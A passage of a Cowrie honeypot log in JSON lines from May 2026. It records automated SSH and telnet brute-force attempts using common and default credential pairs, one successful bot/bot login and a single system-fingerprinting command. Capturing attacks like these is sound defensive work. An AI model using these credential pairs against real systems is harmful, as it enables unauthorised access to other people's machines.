{"eventid":"cowrie.login.failed","username":"root","password":"mamamia","message":"login attempt [root/mamamia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:58.877155Z","src_ip":"103.75.182.198","session":"1b8ab075e0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.634629249572754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:00.055681Z","src_ip":"50.6.8.71","session":"bac59c0ef01f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:00.134414Z","src_ip":"103.75.182.198","session":"1b8ab075e0a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53862,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4dec5d38047","protocol":"ssh","message":"New connection: 192.109.200.237:53862 (159.203.135.109:22) [session: a4dec5d38047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:00.166705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:00.183607Z","src_ip":"192.109.200.237","session":"a4dec5d38047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:00.266866Z","src_ip":"192.109.200.237","session":"a4dec5d38047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:00.529211Z","src_ip":"192.109.200.237","session":"a4dec5d38047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:01.616055Z","src_ip":"192.109.200.237","session":"a4dec5d38047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53868,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dc2e8c60b1b","protocol":"ssh","message":"New connection: 192.109.200.237:53868 (159.203.135.109:22) [session: 9dc2e8c60b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:03.648658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:03.656120Z","src_ip":"192.109.200.237","session":"9dc2e8c60b1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:03.739609Z","src_ip":"192.109.200.237","session":"9dc2e8c60b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:03.987652Z","src_ip":"192.109.200.237","session":"9dc2e8c60b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:05.076830Z","src_ip":"192.109.200.237","session":"9dc2e8c60b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":44362,"dst_ip":"159.203.135.109","dst_port":22,"session":"68a70dec2d2a","protocol":"ssh","message":"New connection: 103.27.238.68:44362 (159.203.135.109:22) [session: 68a70dec2d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:06.046640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:06.052384Z","src_ip":"103.27.238.68","session":"68a70dec2d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:06.329944Z","src_ip":"103.27.238.68","session":"68a70dec2d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1212","message":"login attempt [root/1212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:07.145114Z","src_ip":"103.27.238.68","session":"68a70dec2d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53880,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d128768b270","protocol":"ssh","message":"New connection: 192.109.200.237:53880 (159.203.135.109:22) [session: 0d128768b270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:07.388928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:07.396136Z","src_ip":"192.109.200.237","session":"0d128768b270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:07.488879Z","src_ip":"192.109.200.237","session":"0d128768b270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:07.749582Z","src_ip":"192.109.200.237","session":"0d128768b270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:08.420591Z","src_ip":"103.27.238.68","session":"68a70dec2d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:08.842259Z","src_ip":"192.109.200.237","session":"0d128768b270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38062,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0cc9edab21d","protocol":"ssh","message":"New connection: 192.109.200.237:38062 (159.203.135.109:22) [session: d0cc9edab21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:10.832250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:10.837780Z","src_ip":"192.109.200.237","session":"d0cc9edab21d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:10.923769Z","src_ip":"192.109.200.237","session":"d0cc9edab21d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:11.172679Z","src_ip":"192.109.200.237","session":"d0cc9edab21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47194,"dst_ip":"10.17.0.5","dst_port":23,"session":"987517c91ff6","protocol":"telnet","message":"New connection: 50.6.8.71:47194 (10.17.0.5:23) [session: 987517c91ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:11.800316Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47198,"dst_ip":"10.17.0.5","dst_port":23,"session":"895842618c21","protocol":"telnet","message":"New connection: 50.6.8.71:47198 (10.17.0.5:23) [session: 895842618c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:12.116303Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:12.257463Z","src_ip":"192.109.200.237","session":"d0cc9edab21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38072,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b996d7d5564","protocol":"ssh","message":"New connection: 192.109.200.237:38072 (159.203.135.109:22) [session: 9b996d7d5564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:14.233910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:14.303318Z","src_ip":"192.109.200.237","session":"9b996d7d5564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:14.467918Z","src_ip":"192.109.200.237","session":"9b996d7d5564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:14.721233Z","src_ip":"192.109.200.237","session":"9b996d7d5564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:15.808931Z","src_ip":"192.109.200.237","session":"9b996d7d5564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38080,"dst_ip":"159.203.135.109","dst_port":22,"session":"d888d5c68346","protocol":"ssh","message":"New connection: 192.109.200.237:38080 (159.203.135.109:22) [session: d888d5c68346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:17.927295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:17.933948Z","src_ip":"192.109.200.237","session":"d888d5c68346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:18.017063Z","src_ip":"192.109.200.237","session":"d888d5c68346","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:18.269289Z","src_ip":"192.109.200.237","session":"d888d5c68346","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:18.486371Z","src_ip":"192.109.200.237","session":"d888d5c68346","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:18.489983Z","src_ip":"192.109.200.237","session":"d888d5c68346","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:18.576715Z","src_ip":"192.109.200.237","session":"d888d5c68346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:18.583091Z","src_ip":"192.109.200.237","session":"d888d5c68346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34618,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1499d8609c3","protocol":"ssh","message":"New connection: 192.109.200.237:34618 (159.203.135.109:22) [session: d1499d8609c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:21.259760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:21.265028Z","src_ip":"192.109.200.237","session":"d1499d8609c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr